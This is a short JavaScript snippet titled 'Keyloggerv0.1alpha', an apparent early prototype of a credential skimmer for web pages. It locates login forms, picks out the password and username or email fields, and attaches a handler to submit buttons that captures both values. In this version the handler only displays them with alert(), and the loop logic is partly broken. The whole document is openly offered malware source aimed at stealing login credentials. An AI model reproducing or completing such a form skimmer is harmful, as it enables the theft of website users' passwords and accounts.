Keyloggerv0.1alpha

var forms = document.querySelectorAll('form');
var submit = [
  document.querySelectorAll('input[type=submit]'),
  document.querySelectorAll('button[type=submit]')
];

for (var i=0; i < forms.length; i++){
  var form = forms[i]
  var fields = form.querySelectorAll('input');

    for(var j =0; j<fields.length; j++){
      var f = fields[j];
      if(!form._pass && f.type == 'password'){
        form._pass = f;
      }
      else if(!form._user && (f.type == 'text' || f.type == 'email')){
        form._user = f;
      }
      if(!(form._user !== undefined && form._pass !== undefined)){
        continue;
      }
      for(s=0; s<submit.length; s++){
        var a = submit[s];
        a.item(0).addEventListener('click', send);
      }
      function send(){
        alert(form._user.value);
        alert(form._pass.value);
      }
    }
    break;
  }